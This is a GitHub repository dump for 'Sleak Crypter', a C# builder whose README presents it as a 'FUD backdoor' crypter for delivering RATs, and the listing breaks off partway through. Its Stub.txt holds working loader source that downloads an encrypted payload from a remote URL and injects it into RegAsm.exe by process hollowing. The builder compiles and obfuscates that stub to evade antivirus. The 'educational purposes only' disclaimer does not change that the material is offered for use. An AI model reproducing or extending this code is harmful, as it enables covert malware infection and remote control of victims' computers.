├── README.md
└── SleakDirectFile
├── App.config
├── Form1.Designer.cs
├── Form1.cs
├── Form1.resx
├── Program.cs
├── Properties
├── AssemblyInfo.cs
├── Resources.Designer.cs
├── Resources.resx
├── Settings.Designer.cs
└── Settings.settings
├── Resources
└── Stub.txt
├── SleakDirectFile.csproj
├── Tools
├── AES.cs
└── Obuscate.cs
├── bin
└── Debug
│ ├── KeikoObfuscator.dll
│ ├── Mono.Cecil.Mdb.dll
│ ├── Mono.Cecil.Mdb.pdb
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Pdb.pdb
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.Rocks.pdb
│ ├── Mono.Cecil.dll
│ ├── SleakDirectFile.exe
│ ├── SleakDirectFile.exe.config
│ ├── SleakDirectFile.pdb
│ ├── async_base64.txt
│ └── build.pdb
├── encode.Designer.cs
├── encode.cs
├── encode.resx
├── obj
└── Debug
│ ├── DesignTimeResolveAssemblyReferences.cache
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── SleakDirectFile.Form1.resources
│ ├── SleakDirectFile.Properties.Resources.resources
│ ├── SleakDirectFile.csproj.AssemblyReference.cache
│ ├── SleakDirectFile.csproj.CopyComplete
│ ├── SleakDirectFile.csproj.CoreCompileInputs.cache
│ ├── SleakDirectFile.csproj.FileListAbsolute.txt
│ ├── SleakDirectFile.csproj.GenerateResource.cache
│ ├── SleakDirectFile.csproj.SuggestedBindingRedirects.cache
│ ├── SleakDirectFile.encode.resources
│ ├── SleakDirectFile.exe
│ ├── SleakDirectFile.pdb
│ ├── TempPE
│ └── Properties.Resources.Designer.cs.dll
│ └── _IsIncrementalBuild
└── packages.config
/README.md:
--------------------------------------------------------------------------------
1 | # **FUD** backdoor with Free Sleak Crypter **Direct File**
2 | Follow the steps bellow to generate a crypted malwarer that can be used on a C# executable.
3 |
4 | ## Clone the repository (Tools is only for windows)
5 | ```
6 | Download (https://github.com/tr1xongithub/FreeCrypter/)
7 | ```
8 |
9 |
10 | ## Comiple The Tool in Visual Studios
11 |
12 | ```
13 | Open the Tool and Click on Encoded to Encode the your rat into base64
14 | ```
15 |
16 | ## Now drop the Rat into the Drap and Drop Section
17 | ```
18 | Then i wil ask you to save the data into a txt file
19 | ```
20 | ## Now go to the Main Page and Click on (upload base64 data)
21 | ```
22 | Then copy the base64 contents from the txt file and paste it into the website and click on save
23 | ```
24 | ## Now Build the File
25 | ```
26 | Now grab the url as a raw url 'https://example.com/raw/contents' and paste it into the textbox and click build and there you go its that easy
27 | ```
28 | ## DISCLAIMER
29 |
30 | I am not responsible for any of your actions. This GitHub repository is made for educational purposes only!!!
31 |
--------------------------------------------------------------------------------
/SleakDirectFile/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SleakDirectFile/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace SleakDirectFile
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.textBox1 = new System.Windows.Forms.TextBox();
32 | this.button1 = new System.Windows.Forms.Button();
33 | this.url = new System.Windows.Forms.Label();
34 | this.button2 = new System.Windows.Forms.Button();
35 | this.panel1 = new System.Windows.Forms.Panel();
36 | this.button3 = new System.Windows.Forms.Button();
37 | this.label1 = new System.Windows.Forms.Label();
38 | this.label2 = new System.Windows.Forms.Label();
39 | this.terms = new System.Windows.Forms.CheckBox();
40 | this.panel1.SuspendLayout();
41 | this.SuspendLayout();
42 | //
43 | // textBox1
44 | //
45 | this.textBox1.Location = new System.Drawing.Point(128, 52);
46 | this.textBox1.Name = "textBox1";
47 | this.textBox1.Size = new System.Drawing.Size(182, 20);
48 | this.textBox1.TabIndex = 0;
49 | //
50 | // button1
51 | //
52 | this.button1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25)))));
53 | this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
54 | this.button1.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
55 | this.button1.ForeColor = System.Drawing.Color.White;
56 | this.button1.Location = new System.Drawing.Point(328, 50);
57 | this.button1.Name = "button1";
58 | this.button1.Size = new System.Drawing.Size(75, 23);
59 | this.button1.TabIndex = 1;
60 | this.button1.Text = "Build";
61 | this.button1.UseVisualStyleBackColor = false;
62 | this.button1.Click += new System.EventHandler(this.button1_Click);
63 | //
64 | // url
65 | //
66 | this.url.AutoSize = true;
67 | this.url.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
68 | this.url.ForeColor = System.Drawing.Color.White;
69 | this.url.Location = new System.Drawing.Point(27, 55);
70 | this.url.Name = "url";
71 | this.url.Size = new System.Drawing.Size(95, 13);
72 | this.url.TabIndex = 2;
73 | this.url.Text = "Direct File Link : ";
74 | //
75 | // button2
76 | //
77 | this.button2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25)))));
78 | this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
79 | this.button2.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
80 | this.button2.ForeColor = System.Drawing.Color.White;
81 | this.button2.Location = new System.Drawing.Point(178, 90);
82 | this.button2.Name = "button2";
83 | this.button2.Size = new System.Drawing.Size(75, 23);
84 | this.button2.TabIndex = 3;
85 | this.button2.Text = "ENCODE";
86 | this.button2.UseVisualStyleBackColor = false;
87 | this.button2.Click += new System.EventHandler(this.button2_Click);
88 | //
89 | // panel1
90 | //
91 | this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25)))));
92 | this.panel1.Controls.Add(this.button3);
93 | this.panel1.Controls.Add(this.label1);
94 | this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
95 | this.panel1.Location = new System.Drawing.Point(0, 0);
96 | this.panel1.Name = "panel1";
97 | this.panel1.Size = new System.Drawing.Size(457, 25);
98 | this.panel1.TabIndex = 4;
99 | this.panel1.Paint += new System.Windows.Forms.PaintEventHandler(this.panel1_Paint);
100 | this.panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.mousedown);
101 | this.panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.mouse_Move);
102 | //
103 | // button3
104 | //
105 | this.button3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25)))));
106 | this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
107 | this.button3.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
108 | this.button3.ForeColor = System.Drawing.Color.White;
109 | this.button3.Location = new System.Drawing.Point(418, 0);
110 | this.button3.Name = "button3";
111 | this.button3.Size = new System.Drawing.Size(39, 25);
112 | this.button3.TabIndex = 5;
113 | this.button3.Text = "X";
114 | this.button3.UseVisualStyleBackColor = false;
115 | this.button3.Click += new System.EventHandler(this.button3_Click);
116 | //
117 | // label1
118 | //
119 | this.label1.AutoSize = true;
120 | this.label1.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
121 | this.label1.ForeColor = System.Drawing.Color.White;
122 | this.label1.Location = new System.Drawing.Point(3, 9);
123 | this.label1.Name = "label1";
124 | this.label1.Size = new System.Drawing.Size(77, 13);
125 | this.label1.TabIndex = 2;
126 | this.label1.Text = "SleakDropper";
127 | //
128 | // label2
129 | //
130 | this.label2.AutoSize = true;
131 | this.label2.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
132 | this.label2.ForeColor = System.Drawing.Color.White;
133 | this.label2.Location = new System.Drawing.Point(12, 103);
134 | this.label2.Name = "label2";
135 | this.label2.Size = new System.Drawing.Size(111, 13);
136 | this.label2.TabIndex = 2;
137 | this.label2.Text = "Upload Base64 Data";
138 | this.label2.Click += new System.EventHandler(this.label2_Click);
139 | //
140 | // terms
141 | //
142 | this.terms.AutoSize = true;
143 | this.terms.ForeColor = System.Drawing.Color.White;
144 | this.terms.Location = new System.Drawing.Point(270, 94);
145 | this.terms.Name = "terms";
146 | this.terms.Size = new System.Drawing.Size(183, 17);
147 | this.terms.TabIndex = 5;
148 | this.terms.Text = "I accept the rules and regulations";
149 | this.terms.UseVisualStyleBackColor = true;
150 | //
151 | // Form1
152 | //
153 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
154 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
155 | this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(35)))), ((int)(((byte)(35)))), ((int)(((byte)(35)))));
156 | this.ClientSize = new System.Drawing.Size(457, 125);
157 | this.Controls.Add(this.terms);
158 | this.Controls.Add(this.panel1);
159 | this.Controls.Add(this.button2);
160 | this.Controls.Add(this.label2);
161 | this.Controls.Add(this.url);
162 | this.Controls.Add(this.button1);
163 | this.Controls.Add(this.textBox1);
164 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
165 | this.Name = "Form1";
166 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
167 | this.Text = "Builder";
168 | this.Load += new System.EventHandler(this.Form1_Load);
169 | this.panel1.ResumeLayout(false);
170 | this.panel1.PerformLayout();
171 | this.ResumeLayout(false);
172 | this.PerformLayout();
173 |
174 | }
175 |
176 | #endregion
177 |
178 | private System.Windows.Forms.TextBox textBox1;
179 | private System.Windows.Forms.Button button1;
180 | private System.Windows.Forms.Label url;
181 | private System.Windows.Forms.Button button2;
182 | private System.Windows.Forms.Panel panel1;
183 | private System.Windows.Forms.Label label1;
184 | private System.Windows.Forms.Button button3;
185 | private System.Windows.Forms.Label label2;
186 | private System.Windows.Forms.CheckBox terms;
187 | }
188 | }
189 |
190 |
--------------------------------------------------------------------------------
/SleakDirectFile/Form1.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using SleakDirectFile.Tools;
3 | using System;
4 | using System.CodeDom.Compiler;
5 | using System.Collections.Generic;
6 | using System.ComponentModel;
7 | using System.Data;
8 | using System.Diagnostics;
9 | using System.Drawing;
10 | using System.IO;
11 | using System.Linq;
12 | using System.Text;
13 | using System.Threading.Tasks;
14 | using System.Windows.Forms;
15 |
16 | namespace SleakDirectFile
17 | {
18 | public partial class Form1 : Form
19 | {
20 | public Form1()
21 | {
22 | InitializeComponent();
23 |
24 | }
25 |
26 |
27 |
28 | private void Form1_Load(object sender, EventArgs e)
29 | {
30 |
31 | }
32 |
33 | private void button2_Click(object sender, EventArgs e)
34 | {
35 | encode en = new encode();
36 | en.Show();
37 | }
38 |
39 | private void button1_Click(object sender, EventArgs e)
40 | {
41 | if (terms.Checked)
42 | {
43 | string sStub = Properties.Resources.Stub.Replace("%URL%",textBox1.Text);
44 |
45 | using (SaveFileDialog fSaveDialog = new SaveFileDialog())
46 | {
47 |
48 | fSaveDialog.Filter = "Executable (*.exe)|*.exe";
49 | fSaveDialog.Title = "Save crypted Server...";
50 |
51 | if (fSaveDialog.ShowDialog() == DialogResult.OK)
52 | {
53 |
54 | using (CSharpCodeProvider csCodeProvider = new CSharpCodeProvider(new Dictionary
55 | {
56 | {"CompilerVersion", "v4.0"}
57 | }))
58 | {
59 | CompilerParameters cpParams = new CompilerParameters(null, fSaveDialog.FileName, true);
60 |
61 | cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug-";
62 | cpParams.ReferencedAssemblies.Add("System.dll");
63 | cpParams.ReferencedAssemblies.Add("System.Management.dll");
64 | cpParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
65 | cpParams.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
66 | cpParams.ReferencedAssemblies.Add("System.Threading.Tasks.dll");
67 |
68 |
69 | csCodeProvider.CompileAssemblyFromSource(cpParams, sStub);
70 |
71 | if (Obfuscate.Rename(fSaveDialog.FileName))
72 | {
73 | File.Delete(fSaveDialog.FileName);
74 | MessageBox.Show("File Crypted Successfully!", "Sleak Crypter", MessageBoxButtons.OK, MessageBoxIcon.Information);
75 | }
76 | else
77 | {
78 | MessageBox.Show("Could Not Crypt File Successfully!", "Sleak Crypter", MessageBoxButtons.OK, MessageBoxIcon.Information);
79 | }
80 |
81 | }
82 |
83 |
84 |
85 | }
86 | }
87 | }
88 | else
89 | {
90 | MessageBox.Show("Please Accept The Rules and Regulations", "Sleak Crypter", MessageBoxButtons.OK, MessageBoxIcon.Error);
91 | }
92 | }
93 |
94 |
95 | private void button3_Click(object sender, EventArgs e)
96 | {
97 | Application.Exit();
98 | }
99 |
100 | private void label2_Click(object sender, EventArgs e)
101 | {
102 | Process.Start("https://www.hastepaste.com/");
103 | }
104 |
105 | Point mouseLocation;
106 | private void mousedown(object sender, MouseEventArgs e)
107 | {
108 | mouseLocation = new Point(-e.X, -e.Y);
109 |
110 | }
111 |
112 | private void mouse_Move(object sender, MouseEventArgs e)
113 | {
114 | if (e.Button == MouseButtons.Left)
115 | {
116 | Point mousePose = Control.MousePosition;
117 | mousePose.Offset(mouseLocation.X, mouseLocation.Y);
118 | Location = mousePose;
119 | }
120 | }
121 |
122 | private void panel1_Paint(object sender, PaintEventArgs e)
123 | {
124 |
125 | }
126 | }
127 | }
128 |
--------------------------------------------------------------------------------
/SleakDirectFile/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/SleakDirectFile/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 |
7 | namespace SleakDirectFile
8 | {
9 | internal static class Program
10 | {
11 | ///
12 | /// The main entry point for the application.
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | Application.EnableVisualStyles();
18 | Application.SetCompatibleTextRenderingDefault(false);
19 | Application.Run(new Form1());
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/SleakDirectFile/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SleakDirectFile")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SleakDirectFile")]
13 | [assembly: AssemblyCopyright("Copyright © 2022")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("bed4fce1-8987-4c2e-9aaf-4dba493b393f")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SleakDirectFile/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace SleakDirectFile.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SleakDirectFile.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | ///
64 | /// Looks up a localized string similar to using Microsoft.Win32;
65 | ///using System;
66 | ///using System.Diagnostics;
67 | ///using System.IO;
68 | ///using System.Net;
69 | ///using System.Reflection;
70 | ///using System.Runtime.InteropServices;
71 | ///using System.Security.Cryptography;
72 | ///using System.Threading.Tasks;
73 | ///using System.Windows.Forms;
74 | ///
75 | ///namespace Update
76 | ///{
77 | /// class Program : API
78 | /// {
79 | ///
80 | /// private static byte[] Decrypt(byte[] Code, byte[] key, byte[] iv)
81 | /// {
82 | ///
83 | /// using (var des = TripleDES.Create())
84 | /// {
85 | /// des.KeySize = 128;
86 | /// [rest of string was truncated]";.
87 | ///
88 | internal static string Stub {
89 | get {
90 | return ResourceManager.GetString("Stub", resourceCulture);
91 | }
92 | }
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/SleakDirectFile/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | ..\Resources\Stub.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252
123 |
124 |
--------------------------------------------------------------------------------
/SleakDirectFile/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace SleakDirectFile.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/SleakDirectFile/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/SleakDirectFile/Resources/Stub.txt:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.Net;
5 | using System.Runtime.InteropServices;
6 | using System.Security.Cryptography;
7 | using System.Threading.Tasks;
8 |
9 | namespace Update
10 | {
11 | class Program : APP
12 | {
13 |
14 | static void Main()
15 | {
16 | byte[] Key = Convert.FromBase64String("TxM4zjDL+WrdkYmUb5TvoQ==");
17 |
18 | byte[] IV = Convert.FromBase64String("e2iOhnoh6dc=");
19 |
20 | Construct(Key,IV);
21 | }
22 | private static async Task DownloadAsyncData(string URL)
23 | {
24 | if (!string.IsNullOrEmpty(URL))
25 | {
26 | WebRequest WEB_REQUEST = HttpWebRequest.Create(URL);
27 | WebResponse RESPONSE_STREAM = await WEB_REQUEST.GetResponseAsync();
28 | StreamReader READER = new StreamReader(RESPONSE_STREAM.GetResponseStream());
29 | string BASE64 = await READER.ReadToEndAsync();
30 | byte[] BUFFER = Convert.FromBase64String(BASE64);
31 | return BUFFER;
32 | }
33 | return null;
34 | }
35 | static void Construct(byte[] Key, byte[] IV)
36 | {
37 |
38 | byte[] DOWNLOADED_DATA = DownloadAsyncData(Settings.Url).Result;
39 |
40 | byte [] DUFFER = AES.Decrypt(DOWNLOADED_DATA, Key, IV);
41 |
42 | Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"), DUFFER);
43 | }
44 |
45 | public static void Execute(string path, byte[] payload)
46 | {
47 | int lenghtForData = 5;
48 | for (int i = 0; i < lenghtForData; i++)
49 | {
50 | int readWrite = 0x0;
51 | Settings.si = new Settings.StartupInformation();
52 | Settings.pi = new Settings.ProcessInformation();
53 | Settings.si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(Settings.StartupInformation)));
54 | try
55 | {
56 | bool CreateProc = CreateProcessA(path, string.Empty, IntPtr.Zero, IntPtr.Zero, false, Converts.returnUint(0x00000004) | Converts.returnUint(0x08000000), IntPtr.Zero, null, ref Settings.si, ref Settings.pi);
57 | if (!CreateProc)
58 | {
59 |
60 | throw new Exception();
61 | }
62 |
63 | int fileAddress = Converts.Convert32(payload, Converts.returnInt32(0x3C));
64 | int imageBase = Converts.Convert32(payload, fileAddress + Converts.returnInt32(0x34));
65 | int[] context = new int[0xB3];
66 |
67 | Int32 x = 0x0;
68 | Int32 y = 0x10002;
69 | context[Converts.returnInt32(x)] = Converts.returnInt32(y);
70 |
71 |
72 | if (IntPtr.Size == Converts.returnInt32(0x4))
73 | {
74 | bool GetThreadCon = GetThreadContext(Settings.pi.ThreadHandle, context);
75 | if (!GetThreadCon)
76 | {
77 | throw new Exception();
78 | }
79 | else
80 | {
81 | bool Wow64GetThreadCon = Wow64GetThreadContext(Settings.pi.ThreadHandle, context);
82 | if (!Wow64GetThreadCon)
83 | {
84 | throw new Exception();
85 | }
86 | }
87 | }
88 | int ebx = context[Converts.returnInt32(0x29)];
89 | int baseAddress = Converts.returnInt32(0x0);
90 | bool ReadProcMem = ReadProcessMemory(Settings.pi.ProcessHandle, ebx + Converts.returnInt32( 0x8), ref baseAddress, Converts.returnInt32(0x4), ref readWrite);
91 | if (!ReadProcMem)
92 | {
93 | throw new Exception();
94 | }
95 | if (imageBase == baseAddress)
96 | {
97 | var Unmap = ZwUnmapViewOfSection(Settings.pi.ProcessHandle, baseAddress);
98 | if (Unmap != Converts.returnInt32(0x0))
99 | {
100 | throw new Exception();
101 | }
102 | }
103 |
104 | int sizeOfImage = Converts.Convert32(payload, fileAddress + Converts.returnInt32(0x50));
105 | int sizeOfHeaders = Converts.Convert32(payload, fileAddress + Converts.returnInt32(0x54));
106 | bool allowOverride = false;
107 | int newImageBase = VirtualAllocEx(Settings.pi.ProcessHandle, imageBase, sizeOfImage, Converts.returnInt32(0x3000), Converts.returnInt32(0x40));
108 |
109 | if (newImageBase == Converts.returnInt32(0x0))
110 | {
111 | throw new Exception();
112 | }
113 | bool WriteProcessMem = WriteProcessMemory(Settings.pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite);
114 | if (!WriteProcessMem) { throw new Exception(); }
115 |
116 | int sectionOffset = fileAddress + 0xF8;
117 | short numberOfSections = BitConverter.ToInt16(payload, fileAddress + Converts.returnInt32(0x6));
118 |
119 |
120 |
121 | for (int I = 0; I < numberOfSections; I++)
122 | {
123 | int virtualAddress = Converts.Convert32(payload, sectionOffset + Converts.returnInt32(0xC));
124 | int sizeOfRawData = Converts.Convert32(payload, sectionOffset + Converts.returnInt32(0x10));
125 | int pointerToRawData = Converts.Convert32(payload, sectionOffset + Converts.returnInt32(0x14));
126 | if (sizeOfRawData != Converts.returnInt32(0x0))
127 | {
128 | byte[] sectionData = new byte[sizeOfRawData];
129 | Buffer.BlockCopy(payload, pointerToRawData, sectionData, Converts.returnInt32(0x0), sectionData.Length);
130 | bool WriteProcessMen = WriteProcessMemory(Settings.pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite);
131 | if (!WriteProcessMen)
132 | {
133 | throw new Exception();
134 | }
135 |
136 | }
137 | sectionOffset += 0x28;
138 | }
139 | byte[] pointerData = BitConverter.GetBytes(newImageBase);
140 | bool WriteProcess = WriteProcessMemory(Settings.pi.ProcessHandle, ebx + Converts.returnInt32(0x8), pointerData, Converts.returnInt32(0x4), ref readWrite);
141 | if (!WriteProcess)
142 | {
143 | throw new Exception();
144 | }
145 | int addressOfEntryPoint = Converts.Convert32(payload, fileAddress + Converts.returnInt32(0x28));
146 | if (allowOverride) { newImageBase = imageBase; }
147 | context[0x2C] = newImageBase + addressOfEntryPoint;
148 |
149 | if (IntPtr.Size == Converts.returnInt32(0x4))
150 | {
151 | bool SetThreadCon = SetThreadContext(Settings.pi.ThreadHandle, context);
152 | if (!SetThreadCon) throw new Exception();
153 | }
154 | else
155 | {
156 | bool Wow64SetThreadCon = Wow64SetThreadContext(Settings.pi.ThreadHandle, context);
157 | if (!Wow64SetThreadCon) throw new Exception();
158 | }
159 | var ResumeThre = ResumeThread(Settings.pi.ThreadHandle);
160 | if (ResumeThre == -1)
161 | {
162 | throw new Exception();
163 | }
164 | }
165 | catch
166 | {
167 | Process.GetProcessById(Convert.ToInt32(Settings.pi.ProcessId)).Kill();
168 | continue;
169 | }
170 | break;
171 | }
172 | }
173 | }
174 |
175 | class Converts
176 | {
177 | public static Int32 Convert32(byte[] payload, Int32 data)
178 | {
179 | return BitConverter.ToInt32(payload, data);
180 | }
181 | public static Int32 returnInt32(Int32 data)
182 | {
183 | return data;
184 | }
185 | public static uint returnUint(uint data)
186 | {
187 | return data;
188 | }
189 | }
190 | class APP
191 | {
192 |
193 |
194 |
195 | [DllImport("kernel32.dll", SetLastError = true)]
196 | protected static extern int ResumeThread(IntPtr handle);
197 |
198 | [DllImport("kernel32.dll", SetLastError = true)]
199 | protected static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
200 |
201 | [DllImport("kernel32.dll", SetLastError = true)]
202 | protected static extern bool SetThreadContext(IntPtr thread, int[] context);
203 |
204 | [DllImport("kernel32.dll", SetLastError = true)]
205 | protected static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
206 |
207 | [DllImport("kernel32.dll", SetLastError = true)]
208 | protected static extern bool GetThreadContext(IntPtr thread, int[] context);
209 |
